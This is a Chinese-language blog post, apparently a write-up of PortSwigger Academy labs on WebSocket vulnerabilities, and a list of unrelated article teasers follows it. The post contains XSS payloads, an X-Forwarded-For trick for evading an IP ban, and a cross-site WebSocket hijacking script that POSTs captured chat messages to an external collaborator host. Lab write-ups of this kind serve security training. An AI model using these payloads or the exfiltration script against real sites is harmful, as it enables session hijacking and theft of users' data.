PortSwigger——WebSockets vulnerabilities

news2025/2/13 14:53:11

文章目录

  • 一、WebSockets
  • 二、Lab: Manipulating WebSocket messages to exploit vulnerabilities
  • 三、Lab: Manipulating the WebSocket handshake to exploit vulnerabilities
  • 四、Using cross-site WebSockets to exploit vulnerabilities
    • 4.1 跨站WebSocket劫持(cross-site WebSocket hijacking)
    • 4.2 实施跨站WebSocket劫持攻击
    • 4.3 Lab: Cross-site WebSocket hijacking

一、WebSockets

WebSockets 是一种强大的实时通信协议,适合需要低延迟和高频率数据交换的场景。WebSockets通过HTTP发起,并在两个方向上提供具有异步通信的长期连接。WebSockets用于各种目的,包括执行用户操作和传输敏感信息。实际上,常规HTTP中出现的任何Web安全漏洞也可能与WebSockets通信有关。WebSockets弥补了 HTTP 在实时性方面的不足,广泛应用于聊天、游戏、实时数据推送等领域。
在这里插入图片描述
例如,假设聊天应用程序使用WebSockets在浏览器和服务器之间发送聊天消息。当用户键入聊天消息时,将向服务器发送如下所示的WebSocket消息:

{"message":"Hello Carlos"}

消息的内容被传输(再次通过WebSockets)到另一个聊天用户,并在用户的浏览器中呈现如下:

<td>Hello Carlos</td>

在这种情况下,如果没有其他输入处理或防御,攻击者可以通过提交以下WebSocket消息来执行XSS攻击:

{"message":"<img src=1 onerror='alert(1)'>"}

二、Lab: Manipulating WebSocket messages to exploit vulnerabilities

实时聊天一般使用websokets,客户端向服务端发送hello字符串,服务端会将hello字符返回。这里可以方式XSS。
在这里插入图片描述
在这里插入图片描述
在聊天框中输入<img src=1 onerror='alert(1)'>,可以看到客户端对<、>进行了html编码。
在这里插入图片描述
拦截修改一下就行了
在这里插入图片描述
在这里插入图片描述

三、Lab: Manipulating the WebSocket handshake to exploit vulnerabilities

某些WebSocket漏洞只能通过操纵WebSocket握手来发现和利用。这些漏洞往往涉及设计缺陷,例如:

  • 错误地信任HTTP标头来执行安全决策,例如X-Forwarded-For标头。
  • 会话处理机制中的缺陷,因为处理WebSocket消息的会话上下文通常由握手消息的会话上下文确定。
  • 由应用程序使用的自定义HTTP标头引入的攻击面。

同样进入live chat,按照上一个实验的思路重发<img src=1 onerror='alert(1)'>,可以看到,websockets连接立刻被中断。
在这里插入图片描述
重新连接会发现IP被ban了。
在这里插入图片描述
在websockets握手阶段添加X-Forwarded-For字段来掩盖源IP,并重新发送payload。

X-Forwarded-For:用于标识客户端的原始 IP 地址

<img src=1 oNeRrOr=alert`1`>

在这里插入图片描述
在这里插入图片描述

四、Using cross-site WebSockets to exploit vulnerabilities

当攻击者从其控制的网站建立跨域WebSocket连接时,会出现一些WebSocket安全漏洞。这被称为跨站点WebSocket劫持攻击,它涉及利用WebSocket握手上的跨站点请求伪造(CSRF)漏洞。这种攻击通常会产生严重的影响,允许攻击者代表受害用户执行特权操作,或捕获受害用户可以访问的敏感数据。

4.1 跨站WebSocket劫持(cross-site WebSocket hijacking)

跨站WebSocket劫持(Cross-site WebSocket hijacking,也称为跨源WebSocket劫持,cross-origin WebSocket hijacking)涉及WebSocket握手上的跨站点请求伪造(CSRF)漏洞。当WebSocket握手请求仅依赖于HTTP cookie进行会话处理并且不包含任何CSRF令牌或其他不可预测的值时,就会出现这种情况。

攻击者可以在自己的域中创建恶意网页,并与存在漏洞的应用程序的站点建立WebSocket连接。当受害者用户访问攻击者创建的恶意网页时,应用程序会把这个来自恶意网页的 WebSocket 连接当作是受害者用户正常发起的连接来处理。这是因为在用户已经登录应用程序的情况下,浏览器会自动携带用户的会话信息(如会话 cookie),应用程序会根据这些会话信息来识别用户身份,所以会错误地认为这是合法用户的请求。

然后,攻击者的页面可以通过连接向服务器发送任意消息,并读取从服务器接收回的消息的内容。这意味着,与常规CSRF不同,攻击者可以获得与受损应用程序的双向交互。

4.2 实施跨站WebSocket劫持攻击

跨站WebSocket劫持攻击本质上是WebSocket握手上的CSRF漏洞,因此执行攻击的第一步是查看应用程序执行的WebSocket握手,并确定它们是否受到CSRF保护。

就一般CSRF攻击而言,需要找到一个握手消息,该消息仅依赖于HTTP cookie进行会话处理,并且在请求参数中不使用任何令牌或其他不可预测的值。

例如,下面的WebSocket握手请求可能容易受到CSRF的攻击,因为cookie中仅有session:

GET /chat HTTP/1.1
Host: normal-website.com
Sec-WebSocket-Version: 13
Sec-WebSocket-Key: wDqumtseNBJdhkihL6PW7w==
Connection: keep-alive, Upgrade
Cookie: session=KOsEJNuflw4Rd9BDNrVmvwBF9rEijeE2
Upgrade: websocket

Sec-WebSocket-Key标头包含一个随机值,以防止缓存代理出错,并不用于身份验证或会话处理目的。

4.3 Lab: Cross-site WebSocket hijacking

打开聊天界面
在这里插入图片描述
websocket握手时,cookie中仅包含session,故存在CSRF漏洞。怎么判断是websocket握手包,返回包中Connection: Upgrade说明客户端希望将当前的 HTTP 连接升级为其他协议,Upgrade: websocket则说明其他协议就是websocket协议。
在这里插入图片描述
Go to exploit server
在这里插入图片描述

<script>
    var ws = new WebSocket('wss://0a00000204fe9c6480444952004400ef.web-security-academy.net/chat');
    ws.onopen = function() {
        ws.send("READY");
    };
    ws.onmessage = function(event) {
    	// 向指定服务器发送websocket信息
        fetch('https://7w4hxmft1fa13xxv8e0xv9ruvl1cpadz.oastify.com', {method: 'POST', mode: 'no-cors', body: event.data}); 
    };
    	console.log(even.data)
</script>

这段 JavaScript 代码主要实现了与 WebSocket 服务器建立连接,在连接成功后发送 “READY” 消息,并将从 WebSocket 服务器接收到的消息通过 fetch API 发送到指定的外部服务器。

点击view exploit
在这里插入图片描述
可以读取聊天记录
在这里插入图片描述
点击Deliver_expolit_to_victim
在这里插入图片描述
即可拿到carlos的密码。
在这里插入图片描述

跨域WebSocket劫持的本质:攻击者通过websocket协议与用户建立连接,用户与聊天服务器通过websocket进行连接,上述攻击脚本将用户接受到的websocket信息转发给攻击者。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2297418.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

八、OSG学习笔记-

前一章节&#xff1a; 七、OSG学习笔记-碰撞检测-CSDN博客https://blog.csdn.net/weixin_36323170/article/details/145558132?spm1001.2014.3001.5501 一、了解OSG图元加载显示流程 本章节代码&#xff1a; OsgStudy/wids CuiQingCheng/OsgStudy - 码云 - 开源中国https:…

自己动手实现一个简单的Linux AI Agent

大模型带我们来到了自然语言人机交互的时代 1、安装本地大模型进行推理 下载地址&#xff1a; https://ollama.com/download 部署本地deepseek和嵌入模型 ollama run deepseek-r1:7b2、制定Linux操作接口指令规范 3、编写大模型对话工具 #!/usr/bin/python3 #coding: utf-8…

常见的数据仓库有哪些?

数据仓库(Data Warehouse,简称数仓)是企业用于存储、管理和分析大量数据的重要工具,其核心目标是通过整合和处理数据,为决策提供高质量、一致性和可信度的数据支持。在构建和使用数仓时,选择合适的工具和技术至关重要。以下是常见的数仓工具及其特点的详细介绍: 1. Hiv…

LSTM 学习笔记 之pytorch调包每个参数的解释

0、 LSTM 原理 整理优秀的文章 LSTM入门例子&#xff1a;根据前9年的数据预测后3年的客流&#xff08;PyTorch实现&#xff09; [干货]深入浅出LSTM及其Python代码实现 整理视频 李毅宏手撕LSTM [双语字幕]吴恩达深度学习deeplearning.ai 1 Pytorch 代码 这里直接调用了nn.l…

【EXCEL】【VBA】处理GI Log获得Surf格式的CONTOUR DATA

【EXCEL】【VBA】处理GI Log获得Surf格式的CONTOUR DATA data source1: BH coordination tabledata source2:BH layer tableprocess 1:Collect BH List To Layer Tableprocess 2:match Reduced Level from "Layer"+"BH"data source1: BH coordination…

国产编辑器EverEdit - 光标位置跳转

1 光标位置跳转 1.1 应用场景 某些场景下&#xff0c;用户从当前编辑位置跳转到别的位置查阅信息&#xff0c;如果要快速跳转回之前编辑位置&#xff0c;则可以使用光标跳转相关功能。 1.2 使用方法 1.2.1 上一个编辑位置 跳转到上一个编辑位置&#xff0c;即文本修改过的位…

cv2.Sobel

1. Sobel 算子简介 Sobel 算子是一种 边缘检测算子&#xff0c;通过对图像做梯度计算&#xff0c;可以突出边缘。 Sobel X 方向卷积核&#xff1a; 用于计算 水平方向&#xff08;x 方向&#xff09; 的梯度。 2. 输入图像示例 假设我们有一个 55 的灰度图像&#xff0c;像素…

鸿蒙HarmonyOS NEXT开发:优化用户界面性能——组件复用(@Reusable装饰器)

文章目录 一、概述二、原理介绍三、使用规则四、复用类型详解1、标准型2、有限变化型2.1、类型1和类型2布局不同&#xff0c;业务逻辑不同2.2、类型1和类型2布局不同&#xff0c;但是很多业务逻辑公用 3、组合型4、全局型5、嵌套型 一、概述 组件复用是优化用户界面性能&#…

Windows中使用Docker安装Anythingllm,基于deepseek构建自己的本地知识库问答大模型,可局域网内多用户访问、离线运行

文章目录 Windows中使用Docker安装Anythingllm&#xff0c;基于deepseek构建自己的知识库问答大模型1. 安装 Docker Desktop2. 使用Docker拉取Anythingllm镜像2. 设置 STORAGE_LOCATION 路径3. 创建存储目录和 .env 文件.env 文件的作用关键配置项 4. 运行 Docker 命令docker r…

[SAP ABAP] OO ALV报表练习1

销售订单明细查询报表 业务目的&#xff1a;根据选择屏幕的筛选条件&#xff0c;使用 ALV 报表&#xff0c;显示销售订单详情 效果展示 用户的输入条件界面 用户的查询结果界面 涉及的主要功能点&#xff1a; 1.当在销售订单明细查询页面取不到任何数据时&#xff0c;在选择…

数据库高安全—数据保护:数据动态脱敏

书接上文数据库高安全—审计追踪&#xff1a;传统审计&统一审计&#xff0c;从传统审计和统一审计两方面对高斯数据库的审计追踪技术进行解读&#xff0c;本篇将从数据动态脱敏方面对高斯数据库的数据保护技术进行解读。 5.1 数据动态脱敏 数据脱敏&#xff0c;顾名思义就…

Datawhale 数学建模导论二 2025年2月

第6章 数据处理与拟合模型 本章主要涉及到的知识点有&#xff1a; 数据与大数据Python数据预处理常见的统计分析模型随机过程与随机模拟数据可视化 本章内容涉及到基础的概率论与数理统计理论&#xff0c;如果对这部分内容不熟悉&#xff0c;可以参考相关概率论与数理统计的…

记录 | WPF基础学习MVVM例子讲解1

目录 前言一、NotificationObject与数据属性创建个类&#xff0c;声明NotificationObject 二、DelegateCommand与命令属性三、View与ViewModel的交互&#xff08;难点&#xff09;在ViewModel文件下创建MainWindowViewModel数据和方法绑定资源指定 代码下载四、优势体现代码下载…

PyTorch 中 `torch.cuda.amp` 相关警告的解决方法

在最近的写代码过程中&#xff0c;遇到了两个与 PyTorch 的混合精度训练相关的警告信息。这里随手记录一下。 警告内容 警告 1: torch.cuda.amp.autocast FutureWarning: torch.cuda.amp.autocast(args...) is deprecated. Please use torch.amp.autocast(cuda, args...) i…

实验7 路由器之间IPsec VPN配置

实验7 路由器之间IPsec VPN配置 1.实验目的 通过在两台路由器之间配置IPsec VPN连接&#xff0c;掌握IPsec VPN配置方法&#xff0c;加深对IPsec协议的理解。 2.实验内容 &#xff08;1&#xff09;按照实验拓扑搭建实验环境。 &#xff08;2&#xff09;在路由器R1和R4配置IP…

小白零基础如何搭建CNN

1.卷积层 在PyTorch中针对卷积操作的对象和使用的场景不同&#xff0c;如有1维卷积、2维卷积、 3维卷积与转置卷积&#xff08;可以简单理解为卷积操作的逆操作&#xff09;&#xff0c;但它们的使用方法比较相似&#xff0c;都可以从torch.nn模块中调用&#xff0c;需要调用的…

【Java八股文】01-Java基础面试篇

【Java八股文】01-Java基础面试篇 概念Java特点Java为什么跨平台JVM、JDK、JRE关系 面向对象什么是面向对象&#xff0c;什么是封装继承多态&#xff1f;多态体现的方面面向对象设计原则重载重写的区别抽象类和实体类区别Java抽象类和接口的区别抽象类可以被实例化吗 深拷贝浅拷…

k8s部署logstash

1. 编写logstash.yaml配置文件 --- apiVersion: v1 kind: Service metadata:name: logstash spec:type: ClusterIPclusterIP: Noneports:- name: logstash-tcpport: 5000targetPort: 5000- name: logstash-beatsport: 5044targetPort: 5044- name: logstash-apiport: 9600targ…

Arcgis/GeoScene API for JavaScript 三维场景底图网格设为透明

项目场景&#xff1a; 有时候加载的地图服务白色区域会露底&#xff0c;导致在三维场景时&#xff0c;露出了三维网格&#xff0c;影响效果&#xff0c;自此&#xff0c;我们需要将三维场景的底图设为白色或透明。 问题描述 如图所示&#xff1a; 解决方案&#xff1a; 提示…

《qt open3d网格拉普拉斯平滑》

qt open3d网格拉普拉斯平滑 效果展示二、流程三、代码效果展示 二、流程 创建动作,链接到槽函数,并把动作放置菜单栏 参照前文 三、代码 1、槽函数实现 void on_actionFilterLaplacian_triggered();void MainWindow::on_actionFil